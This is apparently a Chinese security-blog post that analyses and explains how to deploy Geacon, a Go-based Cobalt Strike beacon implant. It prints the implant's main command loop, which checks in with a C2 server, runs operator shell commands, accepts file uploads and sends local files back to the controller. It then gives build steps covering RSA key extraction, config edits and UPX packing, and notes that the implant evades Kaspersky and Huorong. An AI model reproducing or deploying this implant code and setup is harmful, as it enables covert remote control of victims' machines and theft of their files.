Geacon代码学习&上线指南
2020-02-25 10:00:14 Author: xz.aliyun.com(查看原文) 阅读量:336 收藏

0x01 写在前面

项目地址: https://github.com/darkr4y/geacon

项目说明:

这都说了啥...

这是一个用Golang写的弹beacon会话的工具,相对其他项目来说,这个项目算是老老实实的拟真cs通讯,正好在拿go写c2,看下逻辑学习一下。

CS相关的Golang项目可参考:

https://github.com/Lz1y/GECC
https://github.com/gloxec/CrossC2
https://github.com/wahyuhadi/beacon-c2-go

代码目录:

├─cmd
│  │  main.go                             //主程序
│  │
│  ├─config
│  │      c2profile.go
│  │      config.go                       //c2配置
│  │
│  ├─crypt
│  │      aes.go
│  │      rand.go
│  │      rsa.go
│  │
│  ├─packet
│  │      commands.go
│  │      http.go
│  │      packet.go
│  │
│  ├─sysinfo
│  │      meta.go
│  │      sysinfo_darwin.go
│  │      sysinfo_linux.go
│  │      sysinfo_windows.go
│  │
│  └─util
│          util.go
│
├─scripts
│      icons.cna                           //cs脚本
│
└─tools
    └─BeaconTool                           //Beacon RSA生成工具

0x02 代码分析

主程序mian.go在cmd目录下:

package main

import (
    "bytes"
    "fmt"
    "geacon/cmd/config"
    "geacon/cmd/crypt"
    "geacon/cmd/packet"
    "geacon/cmd/util"
    "io"
    "os"
    "time"
)



func main() {

    ok := packet.FirstBlood()
    if ok {
        for ; ;  {
            resp := packet.PullCommand()
            if resp != nil {
                totalLen := resp.Response().ContentLength
                if totalLen > 0 {
                    hmacHash := resp.Bytes()[totalLen - crypt.HmacHashLen :]
                    fmt.Printf("hmac hash: %v\n", hmacHash)
                    //TODO check the hmachash
                    restBytes := resp.Bytes()[ : totalLen - crypt.HmacHashLen]
                    decrypted := packet.DecryptPacket(restBytes)
                    timestamp := decrypted[:4]
                    fmt.Printf("timestamp: %v\n",timestamp)
                    lenBytes := decrypted[4:8]
                    packetLen := packet.ReadInt(lenBytes)

                    decryptedBuf := bytes.NewBuffer(decrypted[8:])
                    for ; ;  {
                        if packetLen <= 0 {
                            break
                        }
                        cmdType , cmdBuf := packet.ParsePacket(decryptedBuf , &packetLen)
                        if cmdBuf != nil {
                            switch cmdType {
                            //shell
                            case packet.CMD_TYPE_SHELL:
                                shellPath , shellBuf := packet.ParseCommandShell(cmdBuf)
                                result := packet.Shell(shellPath,shellBuf)
                                finalPaket := packet.MakePacket(0,result)
                                packet.PushResult(finalPaket)

                            case packet.CMD_TYPE_UPLOAD_START:
                                filePath , fileData := packet.ParseCommandUpload(cmdBuf)
                                packet.Upload(string(filePath),fileData)

                            case packet.CMD_TYPE_UPLOAD_LOOP:
                                filePath , fileData := packet.ParseCommandUpload(cmdBuf)
                                packet.Upload(string(filePath),fileData)

                            case packet.CMD_TYPE_DOWNLOAD:
                                filePath := cmdBuf
                                //TODO encode
                                strFilePath := string(filePath)
                                fileInfo, err := os.Stat(strFilePath)
                                if err != nil {
                                    //TODO notify error to c2
                                    break
                                }
                                fileLen := fileInfo.Size()
                                test := int(fileLen)
                                fileLenBytes := packet.WriteInt(test)
                                requestID := crypt.RandomInt(10000, 99999)
                                requestIDBytes := packet.WriteInt(requestID)
                                result := util.BytesCombine(requestIDBytes,fileLenBytes,filePath)
                                finalPaket := packet.MakePacket(2,result)
                                packet.PushResult(finalPaket)

                                fileHandle , err := os.Open(strFilePath)
                                if err != nil {
                                    break
                                }
                                var fileContent []byte
                                fileBuf := make([]byte, 512 * 1024)
                                for ; ;  {
                                    n, err := fileHandle.Read(fileBuf)
                                    if err != nil && err != io.EOF {
                                        break
                                    }
                                    if n == 0 {
                                        break
                                    }
                                    fileContent = fileBuf[:n]
                                    result = util.BytesCombine(requestIDBytes,fileContent)
                                    finalPaket = packet.MakePacket(8,result)
                                    packet.PushResult(finalPaket)
                                }

                                finalPaket = packet.MakePacket(9,requestIDBytes)
                                packet.PushResult(finalPaket)



                            case packet.CMD_TYPE_SLEEP:
                                sleep := packet.ReadInt(cmdBuf[:4])
                                //jitter := packet.ReadInt(cmdBuf[4:8])
                                //fmt.Printf("Now sleep is %d ms, jitter is %d\n",sleep,jitter)
                                config.WaitTime = time.Duration(sleep) * time.Millisecond

                            default:
                                errIdBytes := packet.WriteInt(0) // must be zero
                                arg1Bytes := packet.WriteInt(0) // for debug
                                arg2Bytes := packet.WriteInt(0)
                                errMsgBytes := []byte("You are now using geacon coded by darkr4y,and he may not have implemented this feature yet cuz life is shit.")
                                result := util.BytesCombine(errIdBytes,arg1Bytes,arg2Bytes,errMsgBytes)
                                finalPaket := packet.MakePacket(31,result)
                                packet.PushResult(finalPaket)


                            }
                        }
                    }
                }
            }
            time.Sleep(config.WaitTime)
        }
    }


}

main.go line 3-13 导入包
main.go line 16 程序入口
main.go line 18 调用packet中的FirstBlood方法(packet.go line 158-170),代码如下:

func FirstBlood() bool {//定义返回类型为布尔值

    /*
    调用EncryptedMetaInfo方法(packet.go line 130-156)并赋值给encryptedMetaInfo。
    其中EncryptedMetaInfo方法的作用是调用MakeMetaInfo方法(packet.go line 118-128)并将该方法返回的值字节交给rsa.go中RsaEncrypt方法加密,最终返回加密后的字符串。
    其中RsaEncrypt在rsa.go line 12-24,在line 14会发现它调用了config.go中line 8 RsaPublicKey变量的值。此处是后面需要修改后再编译的位置1。
    */
    encryptedMetaInfo = EncryptedMetaInfo() 


    /*
    调用HttpGet函数循环发送上线包,如果发送成功就打断循环,休眠,返回True给main.go line 18的ok。
    其中config.GetUrl为在config.go中line 31 GetUrl变量的值,由plainHTTP,C2变量以及字符串"/load"拼接而成,此处也是后面需要修改后再编译的位置2。   
    */

    for ; ;  {
        resp := HttpGet(config.GetUrl,encryptedMetaInfo)
        if resp != nil {
            fmt.Printf("firstblood: %v\n",resp)
            break
        }
        time.Sleep(500 * time.Millisecond)
    }


    time.Sleep(config.WaitTime)
    return true
}

main.go line 19 判断上线包是否发送成功,如果成功进入下一部分,不成功则不执行任何代码。

main.go line 20 开始for循环

main.go line 21 该部分为心跳包,调用packet中的PullCommand方法(packet.go line 172-177)循环发送变量encryptedMetaInfo(在发送上线包时获取到的),代码如下:

func PullCommand() *req.Resp {
    /*
    此处未作容错处理,而是直接将所有返回包丢给下一行处理。
    */
    resp := HttpGet(config.GetUrl,encryptedMetaInfo)
    fmt.Printf("pullcommand: %v\n",resp.Request().URL)
    return resp
}

main.go line 22-23 如果代码没出错就接着运行,出错了就休眠一会儿在继续。休眠时长在config.go中line 20 WaitTime变量中获取
main.go line 24-25 获取resp中返回包中Content-Length的值,如果大于0就继续运行
main.go line 25-36 计算消息hmacHash,restBytes等,然后调用packet中的DecryptPacket方法(packet.go line 40-46)对消息进行解密。具体变量类型之类的可参考:

main.go line 37-40 开始下一个循环,并在循环前先判断packetLen的字节是否小于0,如果是就打断循环。

main.go line 41 调用packet.go中ParsePacket方法(line 54-76)处理decryptedBuf 和&packetLen并返回commandType和commandBuf。(计算过程复杂,此处不作详细,可cs生成的paylaod进行理解)

main.go line 42-120行 根据返回的cmdType的不同执行不同的功能模块,以执行命令为例,假如cmdType的返回值为78时就会进入命令执行流程,代码如下:

/*
packet.CMD_TYPE_SHELL的值为command.go line 14的CMD_TYPE_SHELL常量
如果条件满足则调用packet.go中ParseCommandShell方法(line 20-47)处理cmdBuf,并将处理结果交给Shell方法(line 49-76)执行命令。后续即将执行结果发送回控制端。
*/
switch cmdType {
//shell
case packet.CMD_TYPE_SHELL:
    shellPath , shellBuf := packet.ParseCommandShell(cmdBuf)
    result := packet.Shell(shellPath,shellBuf)
    finalPaket := packet.MakePacket(0,result)
    packet.PushResult(finalPaket)

传送执行结果的方法代码如下:

执行命令的方法如下:

可以看到作者有考虑到多平台上线问题。

可惜:

cmdType的值没有计算正确(测试环境 win10,再或者还没写完?)

尝试过多平台兼容的人都知道有多狗。(golang版本问题,需要更新)

最后如果没有对上会进入作者写的一个debug流程,然后回传到服务器告诉你:

You are now using geacon coded by darkr4y,and he may not have implemented this feature yet cuz life is shit.

0x03 编译上线

如果有仔细看上面的代码分析会发现所有的c2配置作者都放到了config/config.go里面,对于修改后再编译就可以了。

上线共分为三步:

加载icons.cna

加载cs插件...

如名字所写,其作用修改beacon会话图标的。

RSA公钥/私钥生成

作者在项目里提供了生成工具(/tools/BeaconTool):

pemPublicBase64以及pemPrivateBase64即为需要的值,.beacon_keys其实就是cs根目录下的.cobaltstrike.beacon_keys文件。

下载该文件,改下代码,运行一下即可获取需要的值:

编译上线

直接将代码clone到GOPATH下(避免文件来回复制),然后修改/beacon/cmdconfig/config.go

改完go build main.go一下,上线。

如图一台linux一台Windows,mac维修去了,尚未测试。

0x04 总结

正常打包后7M,upx压缩一下2m。卡巴和火绒正常上线。

bug挺多的,不过基础逻辑已经实现了,跟着逻辑调整一下还是会很香的。


The End ,继续写bug。



文章来源: http://xz.aliyun.com/t/7259
如有侵权请联系:admin#unsafe.sh